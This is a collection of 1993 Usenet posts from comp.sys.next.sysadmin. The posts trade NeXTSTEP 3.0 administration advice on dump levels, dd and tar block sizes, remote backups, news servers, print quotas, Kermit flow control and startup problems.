From: nevai@ops.mps.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin,comp.unix.questions Subject: Re: dump - what gets dumped Date: 4 May 1993 18:32:10 GMT Organization: Department of Mathematics, The Ohio State University Distribution: world Message-ID: <1s6cra$alm@mathserv.mps.ohio-state.edu> References: <1s5l53$sdk@mathserv.mps.ohio-state.edu> In article <1s5l53$sdk@mathserv.mps.ohio-state.edu> pali+@osu.edu azt mondja: :According to the dump man pages dumping is done by modification times (after :consulting /etc/dumpdates) but I have a feeling that on NeXT 3.0 dump goes by :access times! Is that true? : :BACKGROUND: I made a 0 dump yesterday and a 9 dump today AND everything got :dumped at the 9 level again. Between yesterday and today all my files were :accessed but only a few changed. Any suggestions? : CORRECTION: not 9 but 0 level again. I think that dump goes by "ctime", i.e. by status change time instead of the modification time. Can this be confirmed? Take care...Paul
Newsgroups: comp.sys.next.sysadmin From: parod@baris.acns.nwu.edu (Bill Parod) Subject: dd | tar question Message-ID: <1993May4.174731.26388@news.acns.nwu.edu> Sender: usenet@news.acns.nwu.edu (Usenet on news.acns) Organization: Northwestern University, Evanston, Illinois, USA Date: Tue, 4 May 1993 17:47:31 GMT I have an Exabyte tape that I would like to dump from a NeXT to another machine across our net. I tried "dd if=/dev/rxt0 | rsh othermachine tar ..." But that doesn't work. So I simply tried "dd if=/dev/rxt0 | tar tvf -" to see if dd and tar were working together, and that didn't work either. I tried a variety of block sizes thinking that might be the problem and got nowhere. So, is there a problem with dd (or tar) on NS3.0, or does someone know the blocksizes I should be using? Or am I missing something else? Incidentally "tar tvf /dev/rxt0" works just fine, so the tape is ok. Thank You, -- Bill Parod 627 Dartmouth Place, Evanston, IL 60208 Northwestern University bill-parod@nwu.edu (NeXTmail ok) Academic Computing & Network Services phone: (708) 491-5368 Advanced Technology Group fax: (708) 467-1786
Newsgroups: comp.sys.next.sysadmin From: ian@pyrian.com (Ian H. Stewart) Subject: tip & gatorftp Message-ID: <C6Ir46.11C@pyrian.com> Sender: ian@pyrian.com (Ian H. Stewart) Organization: PYRIAN Software Group - Makers of On Vacation(tm). 415 664-1170 ext 7. Date: Tue, 4 May 1993 20:19:17 GMT Is it possible to login to a shell account and use something like gatorftp? What would I need to do? Thanks -- Ian H. Stewart | voice/fax 415-664-1170 Pyrian Software Group | Net Ian_Stewart@pyrian.com NeXTSTEP Consulting | Isn't LiFE more like RiSK?
Newsgroups: comp.sys.next.sysadmin From: khw2x@sonja.math.Virginia.EDU (Kevin H. Weiss) Subject: Re: dd | tar question (remote backups) Message-ID: <C6IqEF.3vH@murdoch.acc.Virginia.EDU> Sender: usenet@murdoch.acc.Virginia.EDU Organization: University of Virginia References: <1993May4.174731.26388@news.acns.nwu.edu> Date: Tue, 4 May 1993 20:03:50 GMT In article <1993May4.174731.26388@news.acns.nwu.edu> parod@baris.acns.nwu.edu (Bill Parod) writes: > > I have an Exabyte tape that I would like to dump from a NeXT to another machine > across our net. I tried "dd if=/dev/rxt0 | rsh othermachine tar ..." But that > doesn't work. So I simply tried "dd if=/dev/rxt0 | tar tvf -" to see if dd and > tar were working together, and that didn't work either. I tried a variety of > block sizes thinking that might be the problem and got nowhere. > > So, is there a problem with dd (or tar) on NS3.0, or does someone know the > blocksizes I should be using? Or am I missing something else? > > Incidentally "tar tvf /dev/rxt0" works just fine, so the tape is ok. > > Thank You, > -- > > Bill Parod 627 Dartmouth Place, Evanston, IL 60208 > Northwestern University bill-parod@nwu.edu (NeXTmail ok) > Academic Computing & Network Services phone: (708) 491-5368 > Advanced Technology Group fax: (708) 467-1786 We've been using the following command with no problems to back up the entire hard drive rsd0a: /usr/etc/rdump 0fs weyl:/dev/rmt0 999999 /dev/rsd0a Note that on the remote machine, an RS6000, we've set the Exabyte to /dev/rmt0 and have done appropriate things for .rhosts. -- -------------------------------------------------------------- Kevin Weiss Department of Mathematics khw2x@sonja.math.Virginia.edu (NeXT mail) University of Virginia khw2x@virginia.edu (Non-NeXT mail)
Newsgroups: comp.sys.next.sysadmin From: parod@baris.acns.nwu.edu (Bill Parod) Subject: Re: dd | tar question Message-ID: <1993May4.201625.28640@news.acns.nwu.edu> Sender: usenet@news.acns.nwu.edu (Usenet on news.acns) Organization: Northwestern University, Evanston, Illinois, USA References: <1993May4.174731.26388@news.acns.nwu.edu> Date: Tue, 4 May 1993 20:16:25 GMT Bill Parod writes > > So, is there a problem with dd (or tar) on NS3.0, or does someone know the > blocksizes I should be using? Or am I missing something else? > > Thank You, Thanks to David Meyer at University of Virginia for the suggestion to try a dd input block size of 10k. That worked! -- Bill Parod 627 Dartmouth Place, Evanston, IL 60208 Northwestern University bill-parod@nwu.edu (NeXTmail ok) Academic Computing & Network Services phone: (708) 491-5368 Advanced Technology Group fax: (708) 467-1786
Newsgroups: comp.sys.next.sysadmin From: zenon@resonex.com (Zenon Fortuna) Subject: Re: dd | tar question Message-ID: <1993May4.214245.11748@resonex.com> Organization: Resonex Inc., Fremont CA References: <1993May4.174731.26388@news.acns.nwu.edu> Date: Tue, 4 May 1993 21:42:45 GMT In article <1993May4.174731.26388@news.acns.nwu.edu> parod@baris.acns.nwu.edu (Bill Parod) writes: > >I have an Exabyte tape that I would like to dump from a NeXT to another machine >across our net. I tried "dd if=/dev/rxt0 | rsh othermachine tar ..." But that >doesn't work. So I simply tried "dd if=/dev/rxt0 | tar tvf -" to see if dd and >tar were working together, and that didn't work either. I tried a variety of >block sizes thinking that might be the problem and got nowhere. > >So, is there a problem with dd (or tar) on NS3.0, or does someone know the >blocksizes I should be using? Or am I missing something else? > >Incidentally "tar tvf /dev/rxt0" works just fine, so the tape is ok. > >Thank You, >-- > >Bill Parod 627 Dartmouth Place, Evanston, IL 60208 Yes, your guess is close: this is a problem with blocksizes. The tar tape was created with the 10kB blocks (typical default), but reading from the pipe cannot assure blocks bigger than 512 bytes. I bet you will have no problems using dd if=/dev/rxt0 ibs=10k obs=512 | tar tvf - -Z.
Newsgroups: comp.sys.next.sysadmin From: kwang@data.acs.calpoly.edu (Kevin John Wang) Subject: Software License Server Message-ID: <1993May05.051409.173102@zeus.calpoly.edu> Sender: news@zeus.calpoly.edu Organization: Cal Poly State University, San Luis Obispo Date: Wed, 05 May 1993 05:14:09 GMT Does anyone know of any Software License Servers? We have 20 some NeXTs, and have 11 copes of TopDraw, 2 copies of Frame Maker, etc, etc, etc, and we only want to have 'x' copes of any particular program running at any time. Does anyone have any such software, or know where I can get it? - kevin Wang
Newsgroups: comp.sys.next.sysadmin From: reed@prism.sps.mot.com (Tim Reed) Subject: FaxReader.app Message-ID: <1993May4.222430.14071@newsgate.sps.mot.com> Keywords: faxreader fax Sender: usenet@newsgate.sps.mot.com Organization: SPS Date: Tue, 4 May 1993 22:24:30 GMT The FaxReader tells me that the directory is getting full. When I looked at the directory structure, I noticed a directory call '__print'. This directory appears to contain a copy of all faxes ever received and printed. Can this directory be deleted without harm to the FaxReader application? I can't find any documentation for the FaxReader.app (NS3.0). Thanks for your help. -- ---------------------------------------------------------- Tim Reed Motorola SPS PRISM CIM Systems Administrator 2100 E. Elliot Rd. email: reed@prism.sps.mot.com MD: EL606 Phone: 602-897-4703 Tempe, AZ. 85282 Fax: 602-897-3549
Newsgroups: comp.sys.next.sysadmin From: Doug_Smith@Novell.COM (J. Douglas Smith) Subject: Lost my File Viewer Message-ID: <C6K6xt.BHI@Novell.COM> Sender: usenet@Novell.COM (Usenet News) Organization: Novell, Inc. Date: Wed, 5 May 1993 14:58:41 GMT Yesterday my system crashed. When I rebooted and logged in, everything seemed to be OK except that the File Viewer is missing. All the programs that I have marked to autolaunch seem to work, but I can't get either the File Viewer or the Recycler to work. Any ideas on how I can get this fixed? Oh, by the way, I'm running NeXTStep 3.0 on a 16MB 040 cube. -- Doug Smith Internet: jdsmith@novell.com Novell, INC. Phone: (801) 429-7324 UNIX Desktop Group
From: bubi@cs.tu-berlin.de (Burghard W. V. Britzke) Newsgroups: comp.sys.next.sysadmin Subject: Font-Problem Date: 5 May 1993 15:52:05 GMT Organization: Technical University of Berlin, Germany Distribution: h Message-ID: <1s8nr5$o8q@news.cs.tu-berlin.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit I converted an IBM Postscript font from the pfb-format to the next Format. I installed the font together with the right AFM-file. But my font panel says: "unusable font" I tried to use the font with the YAP-Applicatioô¨n - it worked I tried to use the font with the Previewer (I loaded the font as Ps-file ) it worked too does any body know where the problem comes from ? please send answers to bubi@cs.tu-berlin.de thanks in advance (der Burghard [W.V.Britzke])
From: shirono@ssd.csd.harris.com (Roberto Shironoshita) Newsgroups: comp.sys.next.sysadmin,comp.unix.questions Subject: Re: dump - what gets dumped Date: 5 May 93 12:03:58 Organization: Harris Computer Systems Distribution: world Message-ID: <SHIRONO.93May5120358@gcx1.ssd.csd.harris.com> References: <1s5l53$sdk@mathserv.mps.ohio-state.edu> <1s6cra$alm@mathserv.mps.ohio-state.edu> In-reply-to: nevai@ops.mps.ohio-state.edu's message of 4 May 1993 18:32:10 GMT In article <1s6cra$alm@mathserv.mps.ohio-state.edu> nevai@ops.mps.ohio-state.edu (Paul Nevai) writes: > In article <1s5l53$sdk@mathserv.mps.ohio-state.edu> pali+@osu.edu azt mondja: > :According to the dump man pages dumping is done by modification times (after > :consulting /etc/dumpdates) but I have a feeling that on NeXT 3.0 dump goes by > :access times! Is that true? > : > :BACKGROUND: I made a 0 dump yesterday and a 9 dump today AND everything got > :dumped at the 9 level again. Between yesterday and today all my files were > :accessed but only a few changed. Any suggestions? > : > > CORRECTION: not 9 but 0 level again. I think that dump goes by "ctime", i.e. > by status change time instead of the modification time. Can this be > confirmed? Looks like you are talking about BSD's dump. So that's what I'm going to talk about. Dump dumps all files that have changed since the last dump OF A LOWER LEVEL. That is, for level 9, it dumps everything that has changed since the most recent dump of any of the levels 0 thru 8. For level 8 it's levels 0 thru 7, and so on. Since there are no levels lower than 0, level 0 is in effect an archive. -- Roberto Shironoshita || Internet: shirono@ssd.csd.harris.com Harris Corporation || Computer Systems Division || UUCP: ...!uunet!ssd.csd.harris.com!shirono || DISCLAIMER: The opinions expressed here are my own; they in no way reflect the opinion or policies of Harris Corporation.
Newsgroups: comp.sys.next.sysadmin From: yf5990@u.cc.utah.edu (Yan Fang) Subject: Why no user 'bin' in 3.0? Message-ID: <1993May5.155045.7076@fcom.cc.utah.edu> Sender: news@fcom.cc.utah.edu Organization: University of Utah Computer Center Student Mail Machine Date: Wed, 5 May 93 15:50:45 GMT After having fought my news installation to a bloody death, and after trying futilely (is that a word?) to bring it back up to a working state after a recent system rebuild, I have discovered that Release 3.0 doesn't ship with the user 'bin'. I remember distinctly that my 2.1 installation did. Why did 2.1 ship with 'bin', and not 3.0? I'm wondering if there is a kind soul who wouldn't mind having me call him or her with questions about bringing news back up. I have Cnews compiled on my machine now, but none of the mechanisms seem to unbatch incoming news. I've tried everything I can think of and everything several others can think of, too; permissions are fine, all of the binaries are the same size on my machine as they are on another, working, machine. It's my feeling that the uids and gids are messed up some way, but I can't pin it down. On a similar note, I am ready to get my Epson Progression NX at work receiving news also; I know this subject was covered before, but did anyone ever recompile NewsGrazer with Intel binaries? I can be reached at home at 801.355.6351 after 6 p.m., or at work at Alpine Computing at 801.268.8877, during business hours. If you want to email me concerning news, send it to this address or to kris@nurslab303a.nurs.utah.edu. Thanks. Kris Magnusson Alpine Computing (using my wife's account until I get news working again) -- Yan-Fang Magnusson <yf5990@u.cc.utah.edu> Nuclear-powered philosophy student <Give me $20 or kill me>
Newsgroups: comp.sys.next.sysadmin From: cpf@broca.med.virginia.edu(Chris Fall) Subject: nexttrash quest Message-ID: <C6KBB1.7CJ@murdoch.acc.Virginia.EDU> Sender: usenet@murdoch.acc.Virginia.EDU Organization: University of Virginia Date: Wed, 5 May 1993 16:33:00 GMT does anyone have suggestions for a method/script to go through as super-user and clean out nexttrash directories?? Chris Fall UVa Neurosurgery cpf8k@virginia.edu
From: bill@ganesha.cognet.ucla.edu (William Eldridge) Newsgroups: comp.sys.next.sysadmin Subject: Re: Cnews,bnews,INN Which one Date: 5 May 1993 18:11:29 GMT Organization: UCLA Cognitive Science Research Program Message-ID: <1s900h$ouh@alamut.cognet.ucla.edu> References: <1993May2.065625.274@pyrian.com> In article <1993May2.065625.274@pyrian.com> ian@pyrian.com (Ian H. Stewart) writes: > Which one do I want. I am currently using Cnews, but now need to manage > multi-platform machines. I need source etc. Which of the three or others? > are better. > > Things I would like to see: > > fewer binaries > source > easily compiled for one or multi arch. > > Any help / direction is appreciated. > > -- > Ian H. Stewart | voice/fax 415-664-1170 > Pyrian Software Group | Net Ian_Stewart@pyrian.com > NeXTSTEP Consulting | Isn't LiFE more like RiSK? I installed INN over a month ago. Wonderful. I never did understand what was going on with Cnews, specifically how to find out what's wrong in an easy way (rather than changing the configuration and seeing whether news starts filtering in an hour later.) INN gives lots of instructions, point-by-point tells you how to verify that feeds and access are as they should be, automatically configures the log files in a convenient fashion (automatically compressing the old ones), and gives lots of sample templates in the configuration files so you can copy-paste-modify in a pretty amazingly simple fashion. I muddled over a broken Cnews for a week and never got it right (even when it had been running okay on another machine). I installed INN and had it running correctly in one day. And INN seems a lot faster, and is supposed to support compression for incoming news (a feature I have to research). Now if Cnews comes out with a new version, maybe it'll be better, but I'm quite happy with this setup. Bill -- Bill Eldridge bill@cognet.ucla.edu *** He who remembers the past is condemned to misread it. *** - George Santana
Newsgroups: comp.sys.next.sysadmin From: jpowell@borg.lib.vt.edu (James Powell) Subject: ethernet_II to ethernet_802.3 Message-ID: <1993May5.203736.28161@ecsvax.uncecs.edu> Sender: usenet@ecsvax.uncecs.edu (News Administrator) Organization: UNC Educational Computing Service Date: Wed, 5 May 1993 20:37:36 GMT How do I reconfigure a NeXT to support ethernet_802.3? Is this possible? Someone in my office insists that the PC's on our Novell network can support ethernet_802.3, that this is newer, and that he has problems with other workstations because he has to configure them for the older protocol. -- James Powell >>> Library Automation, University Libraries, VPI&SU >>> JPOWELL@VTVM1.CC.VT.EDU >>> jpowell@borg.lib.vt.edu - NeXTMail welcome here >>> Owner of VPIEJ-L, a discussion list for Electronic >>> Journals
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Re: Print Quotas Message-ID: <1993May5.205240.12042@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1993Apr26.232152.147458@zeus.calpoly.edu> Date: Wed, 5 May 1993 20:52:40 GMT Kevin John Wang (kwang@data.acs.calpoly.edu) wrote: : I grabbed the "Quotas" disk and printing quotas utility : from sonata, and it unfortunately does NOT work with NeXT : printers! It was expecting an intelligent Postscript : printer that it could request a page count from. So my : questions stand: : 1: does anyone know of a print quota paackage that works? : 2: if not, is there anything that'll go through and parse : the printcap accounting files? (as to build a script : based print controller, and turn it on and off day by day as : the file quotas currently work. : 3: absolute worse, how does the print information flow, : such that I might be able to insert my own filter? i.e. app : -> printcap -> lpd -> remote print machine -> printer : : - Kevin Wang I'm working on one now. But the nittygrittys are this: 1. Change the first filter call in printcap/netinfo from npcomm to psif. 2. Edit psif, let it do the initial processing. As you follow the logic, you will see that it creates temporary files in /tmp if the file was not initially a postscript file. Now acting on either the temporary file, or the orignal postscript file do a grep for %%Pages. This is NOT a foolproof method, but does work well enough for "well behaved" documents, which is most everything but stuff churned out by postscript hackers. 3. Now that you know, (sort of ) what the number of pages are, you can either let the file print, or cat /dev/null >! printfile, and send him mail. Good luck. -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin From: andylee@oahu.cs.ucla.edu (Andrew Alaski Lee) Subject: Kermit File Transfer Problem Message-ID: <1993May5.201302.1732@cs.ucla.edu> Sender: usenet@cs.ucla.edu (Mr Usenet) Organization: UCLA, Computer Science Department Date: Wed, 5 May 93 20:13:02 GMT I am having problem with Kermit's (C-Kermit 5A(179) BETA) file transfer after I switched from a mono station to a turbo color this past weekend. Instead of "....." during a file transfer, I'm getting "..NNNNNNNN..N.NNN". And there isn't much line-noise either --- everything is fine when I'm just telneting. This is very puzzling because I'm using the same 3.0 system software in an external hard drive. The only difference is the new turbo color vs. the old mono. Should I use a different modem cable? Has anyone have similar experience? Here is my .kermrc settings for file transfer: set receive packet-length 1024 set send packet-length 1024 set block 3, set window 4 Any help is greatly appreciated! # Andy A. Lee # UCLA MS/PhD Graduate Student, AI Neural Networks # # andylee@cs.ucla.edu # Down-to-Earth Idealist & Independent NeXT Developer # # (310)824-7131 # "If you don't watch your figure, who will?" - TV Ad. # # (714)651-0763 # "Trust is earned, not given away." - Star Trek: TNG # -- # Andy A. Lee # UCLA MS/PhD Graduate Student, AI Neural Networks # # andylee@cs.ucla.edu # Down-to-Earth Idealist & Independent NeXT Developer # # (310)824-7131 # "If you don't watch your figure, who will?" - TV Ad. # # (714)651-0763 # "Trust is earned, not given away." - Star Trek: TNG #
Newsgroups: comp.sys.next.sysadmin From: Nitezki@NiDat.sub.org (Peter Nitezki) Subject: Re: Cnews,bnews,INN Which one Message-ID: <1993May4.181950.1883@nidat.sub.org> Sender: nitezki@nidat.sub.org Organization: private site of Peter Nitezki, Kraichtal, Germany References: <1993May2.065625.274@pyrian.com> Date: Tue, 4 May 1993 18:19:50 GMT In article <1993May2.065625.274@pyrian.com> ian@pyrian.com (Ian H. Stewart) writes: > Which one do I want. I am currently using Cnews, but now need to manage > multi-platform machines. I need source etc. Which of the three or others? > are better. > > Things I would like to see: > > fewer binaries > source > easily compiled for one or multi arch. > > Any help / direction is appreciated. > The choice of news system is mostly a matter of taste (flames by mail please)! If you got one why bother about an other? You only need one server per network. So you need to get a NNTP server and several clients for any of your architectures. Nothing more! Source for NNTP is almost everywhere. If you find a FTP site for Unix software you very likely have found a source for NNTP software. -- Peter Nitezki | Nitezki@NiDat.sub.org # Blessed art thou who knoweth Staarenbergstr. 44 | Tel.: +49 7251 62495 # not about the pleasure and D-7527 Kraichtal 2 | Fax : +49 7251 69215 # delight of being hooked GERMANY | NeXTmail welcome !!! # up to the Net. Peter 1,3-5
Newsgroups: comp.sys.next.sysadmin From: hwr@pilhuhn.ka.sub.org (Heiko W.Rupp) Subject: Re: Cnews,bnews,INN Which one References: <1993May2.065625.274@pyrian.com> <1993May4.181950.1883@nidat.sub.org> Date: Wed, 5 May 1993 23:34:27 GMT Organization: The home of the Pilhuhn Message-ID: <C6KutG.22B@pilhuhn.ka.sub.org> Nitezki@NiDat.sub.org (Peter Nitezki) writes: >> Which one do I want. I am currently using Cnews, but now need to manage >The choice of news system is mostly a matter of taste (flames by mail Not exactly. For a feed site it is a matter of speed and cpu usage. Chuck van Rospach (sp?) from Apple meant after upgrading from B-News to eitehr INN or C News (I think it was the performance release of C news), that this was the first moment within a year, that his disks didn't step all time. Two days ago I upgraded from th 1990 release of C news to the '93 performance release, which is at least the two to three times as fast as the '90 release. If you want many nntp-Feeds, than INN might be preferable over C News plus NNTP, but it also needs much more memory. -- Heiko W.Rupp Gerwigstr.5 D-7500 (76131) Karlsruhe +49 721 693642 We're only in it for the volume. -- Black Sabbath
Newsgroups: comp.sys.next.sysadmin From: rbaxter@netcom.com (Richard B. Baxter MD) Subject: Frequent System Panics Message-ID: <rbaxterC6LBIJ.94u@netcom.com> Organization: Netcom Online Communications Services (408-241-9760 login: guest) Distribution: comp.sys.next.sysadmin Date: Thu, 6 May 1993 05:35:06 GMT I have been experiencing frequent system panics on my 040ND cube recently, with messages such as "panic:(cpu 0) illegal instruction", "panic address error" appearing in the nmi window. Has anyone else experienced this, or have any suggestions? Please e-mail me any ideas. -- Richard B. Baxter rick@kaos.stanford.edu (NeXT Mail) rbaxter@netcom.com (NeXT Mail)
Newsgroups: comp.sys.next.sysadmin Subject: POP3 under NS3.0 Message-ID: <1993May5.175747.23608@husc3.harvard.edu> From: Manuel Veloso <veloso@husc9.harvard.edu> Date: 5 May 93 17:57:45 EDT Distribution: world Organization: Harvard University Hello, I'm trying to get POP3 to work under NS3.0, and am having problems getting a connection to the POP port. popper compiles fine, and actually responds to telnets going into port 109. However, I can't get into port 110, no matter what I try (including removing the pop2 stuff from inetd.conf & /etc/services). The machine is set up as a standalone, multi-user machine...does anyone have any idea what might be wrong? Manuel
Newsgroups: comp.dcom.modems,comp.sys.next.sysadmin,comp.sys.next.misc From: Monty Solomon <monty%roscom@think.com> Subject: Supra v.32bis and uucp Message-ID: <1993May5.102917.8793@proponent.com> Followup-To: comp.dcom.modems Sender: monty@proponent.com (Monty Solomon) Organization: Proponent Date: Wed, 5 May 1993 10:29:17 GMT A friend of mine has a SupraFAXModem v.32bis and DFax on his NeXT. He is dialing into another system for email and news. The other system has a Telebit Worldblazer. What configuration settings and chat script commands do you recommend for the SupraFAXModem in order to get maximum throughput? Thanks. Monty -- # Monty Solomon / PO Box 2486 / Framingham, MA 01701-0405 # monty%roscom@think.com
Newsgroups: comp.sys.next.sysadmin From: jjfeiler@relief.com (John Jay Feiler) Subject: Re: Help! Loginwindow not appearing on startup Message-ID: <1993May7.025506.14676@relief.com> Sender: jjfeiler@relief.com Organization: relief consulting References: <1rrhlr$15p@nz12.rz.uni-karlsruhe.de> Date: Fri, 7 May 1993 02:55:06 GMT In article <1rrhlr$15p@nz12.rz.uni-karlsruhe.de> Ruediger Popp <rpopp@ebigek01.ciw.uni-karlsruhe.de> writes: > In article <1993Apr28.124542.1909@xexos.com> mark@xexos.com (Mark Chamberlain) > writes: > > In article <1993Apr28.043053.285@relief.com> jjfeiler@relief.com (John Jay > > Feiler) writes: > > > I'm having a rather odd problem. When I boot my system, the startup of > > > nmserver seems to be dying. I get an error message on the console, > something > > > like: > > > > > > tcp_listener.bind failed: errno=48 > > > TCP: panic. > > > > > > > Which version of NeXTStep are you running? I think I know, and it shouldn't > > really be discussed here. > > > > Check that /etc/hostconfig exists. During one of our upgrades it got trashed > > and this happened to us. It also happened a few times when running said > version > > in 8Mb. > > > > -- > > Mark Chamberlain +44 71 237 4535 > > Xexos Ltd fax +44 71 231 0844 > > London mark@xexos.com > > > We are running a 040 Cube with 64MB and a 16 MB NeXTDimension Board (PAL). > After installing NS3.0 from scratch (not an upgrade!) we had a lot of troubles > with the missing loginwindow, too. > After several failed trials we fixed the problem. > > Obviously one of the fontdirectories > /NextLibrary/Fonts or > /LocalLibrary/Fonts > was corrupted in an unknown way. > > The problem was solved copying the Directories from CD to HD in single-user > mode. > > A user in Austria who had similiar problems fixed the bug running builafmdir > over the directories Turns out that adding "sleep 4" after the nmserver startup code in /etc/rc solved the problem. Something was stomping on something else, and making them wait a bit let their tempers cool down...... > --- > ----------------------------------------------------------------- > Ruediger Popp > Engler-Bunte-Institute > Dept. Chemistry and Technology of Gas, Oil and Coal > University of Karlsruhe (TH) > Richard-Willstaetter-Allee 5 > W-7500 Karlsruhe 1 (01.07.93: 76128 Karlsruhe) > Germany > Tel.: +49 721 608 2994 > E-MAIL: rpopp@ebigek01.ciw.uni-karlsruhe.de (NeXT-Mail preferred) > ----------------------------------------------------------------- -- John Feiler jjfeiler@relief.com 4926 152nd St. SW NeXTmail Welcome!!! Edmonds, WA 98026-3344 Independent NeXTSTEP Developer
Newsgroups: comp.sys.next.sysadmin From: andylee@oahu.cs.ucla.edu (Andrew Alaski Lee) Subject: Kermit Problem Solved (Almost) Message-ID: <1993May7.080637.25256@cs.ucla.edu> Keywords: kermit modem Sender: usenet@cs.ucla.edu (Mr Usenet) Organization: UCLA, Computer Science Department Date: Fri, 7 May 93 08:06:37 GMT Thanks to all those who responded to my earlier post. I have solved the problem --- the turbo can't handle the data comming its way at 9600 baud and needs flow control. So I set the flow control, at both remote and local host, to rts/cts, and "set line /dev/ttyfa" locally. Now I have no more NAK's in my file transfer. :-) But I still need to resolve these issues: :-( (1) Why was my old 25MHz mono able to handle the data at 9600 baud without flow control while the new turbo color cannot. This seems counter-intuitive because the turbo is faster (I should think so after I spend all this money "upgrading"). The only explanation I can come up with is that the old mono had 20MB RAM while the new turbo color has only 16MB. Any other guess? (2) The latest version of kermit at sonata.cc.purdue.edu doesn't support rts/cts flow control! So I am still using my "out-dated" version, 5A(179) BETA... Where may I find the source to Kermit 5A(188) so I can compile it with the rts/cts flow control? # Andy A. Lee # UCLA MS/PhD Graduate Student, AI Neural Networks # # andylee@cs.ucla.edu # Down-to-Earth Idealist & Independent NeXT Developer # # (310)824-7131 # "If you don't watch your figure, who will?" - TV Ad. # # (714)651-0763 # "Trust is earned, not given away." - Star Trek: TNG # -- # Andy A. Lee # UCLA MS/PhD Graduate Student, AI Neural Networks # # andylee@cs.ucla.edu # Down-to-Earth Idealist & Independent NeXT Developer # # (310)824-7131 # "If you don't watch your figure, who will?" - TV Ad. # # (714)651-0763 # "Trust is earned, not given away." - Star Trek: TNG #
Newsgroups: comp.sys.next.sysadmin From: ian@pyrian.com (Ian H. Stewart) Subject: Thanks for sendmail.cfs Message-ID: <C6MqI3.JI@pyrian.com> Sender: ian@pyrian.com (Ian H. Stewart) Organization: PYRIAN 415 664-1170 Date: Thu, 6 May 1993 23:56:27 GMT Thank you to all that responded to my original request. I have notice so many different approches and have only one more question. Where do I find a discription of all the commands a sendmail.cf file understands. Thanks again. -- Ian H. Stewart | voice/fax 415-664-1170 Pyrian Software Group | Net Ian_Stewart@pyrian.com NeXTSTEP Consulting | Isn't LiFE more like RiSK?
Newsgroups: comp.sys.next.sysadmin From: koelman@cuby.stc.nl (Ton Koelman) Subject: Re: PhoneKit and National ISDN-1 Message-ID: <1993May7.113600.26726@stc.nato.int> Sender: usenet@stc.nato.int (USENET messages) Organization: SHAPE Technical Centre, NL References: <7353930503017@locke.mcs.anl.gov> Date: Fri, 7 May 1993 11:36:00 GMT In article <7353930503017@locke.mcs.anl.gov> olson@locke.mcs.anl.gov (Bob Olson) writes: > Has anyone used the PhoneKit with a switch that uses the National ISDN-1 > protocol? The Kit supports only AT&T and Northern Telecom switches; I > was curious whether anyone has hacked upon it to make it work with > other switches. > > --bob Forget it. I've been asking NeXT for a 1TR6 (German) version for a year. The ISDN stuff runs on the DSP so it's kinda hard to modify... -- Ton Koelman e-mail: koelman@stc.nato.int (NeXT Mail Welcome!) SHAPE Technical Centre, P.O. Box 174, 2501 CD The Hague The Netherlands (voice: 31-70-3142429, fax: 31-70-3142111)
Newsgroups: comp.sys.next.sysadmin From: mschwage@next3.corp.mot.com (Mike Schwager) Subject: Re: dump - what gets dumped Organization: MOTOROLA Date: Fri, 7 May 1993 16:06:47 GMT Message-ID: <1993May7.160647.1633@schbbs.mot.com> References: <1s5l53$sdk@mathserv.mps.ohio-state.edu> Sender: news@schbbs.mot.com (Net News) > BACKGROUND: I made a 0 dump yesterday and a 9 dump today AND everything got > dumped at the 9 level again. Between yesterday and today all my files were > accessed but only a few changed. Any suggestions? > > Please respond by email. Thanks. Take care...Paul > Make sure you use the "u" option to dump, so it updates your /etc/dumpdates file. Otherwise, your dump will not get recorded, and any lower level dumps will not think that the higher level dumps got done! Experiment 1: The "Why did it dump the whole disk?" double fulldump Do this: /etc/dump 0f /dev/<tape> /<fsys> Now do this: /etc/dump 9f /dev/<tape> /<fsys> Voila! You now have two fulldumps. cat /etc/dumpdates, and look at what you (don't) have. Now if you do this: /etc/dump 0uf /dev/<tape> /<fsys> then /etc/dump 9uf /dev/<tape> /<fsys> and now cat /etc/dumpdates and you are a happy camper. -Mike ================================================ Mike Schwager schwager@mot.com Working for, but by no means speaking for: | "Practice random kindess and Motorola, Inc. (708) 576-6993 voice | senseless acts of beauty" 1299 E. Algonquin Rd. (708) 576-3111 fax | - Anne Herbert Schaumburg, IL 60196
Newsgroups: comp.sys.next.sysadmin From: jwc@renoir.wustl.edu (Julie W. Chan) Subject: 3.0 and 3.1 Message-ID: <1993May7.210039.20540@wuecl.wustl.edu> Sender: usenet@wuecl.wustl.edu (News Administrator) Organization: Washington University, School of Engineering, St. Louis MO Date: Fri, 7 May 1993 21:00:39 GMT I heard that NextStep 3.1 is going to be available by the end of this month. Can anyone tell me what is changed in from 3.0 to 3.1? Thanks
From: hans@symbas.UUCP (Hans Aafloy) Newsgroups: comp.sys.next.sysadmin Subject: swapfile on extrernal (non-boot) disc Message-ID: <3818@symbas.UUCP> Date: 7 May 93 12:35:51 GMT Distribution: world Organization: Symbiotic Computer Systems A/S, Trondheim, Norway On some of our installations we'd like to have the system swap file ( for virtual memory ) located on one of the external ( non boot ) SCSI disks, but this seems a lot easier said than done. The path/swapfilename I've tried as an entry in /etc/swaptab as well as direct parameter to mach_swapon. In the first case error messages like : " swent_get: line 1 too long, ignoring " are issued, and in the latter case, mach_swapon issuess: mount: device busy. Has anyone any experience in theese matters ?? Thanx, Hans ========================================================================== Hans Aafloy hans@symbas.lind.no LindMac A/S Phone: +477 96 73 11 7038 Trondheim, NORWAY Fax: . . . .45 05 ===========================================================================
From: gisli@liapunov.eecs.umich.edu (Gisli Ottarsson) Newsgroups: comp.sys.next.sysadmin Subject: netinfo across routers ?? Date: 8 May 93 00:19:19 Organization: University of Michigan Distribution: usa Message-ID: <GISLI.93May8001919@liapunov.eecs.umich.edu> I have been asked to connect a NeXT computer to my humble network running netinfo. However, this new machine is in another domain. Is this a problem for netinfo? Can a machine IP 141.212.137.131 be a netinfo client of a netinfo server IP 141.212.98.130? If yes, how can I configure this new machine so that it can run independently even if one of the networks is down? Is it enough to set up accounts only in the local domain using local diskspace? Thanks Gisli PS. My network is NS 3.0 but the 'new' machine is 2.1 -- ............................................................................... Gisli Ottarsson Delenda est Carthago. University of Michigan gisli@engin.umich.edu ...............................................................................
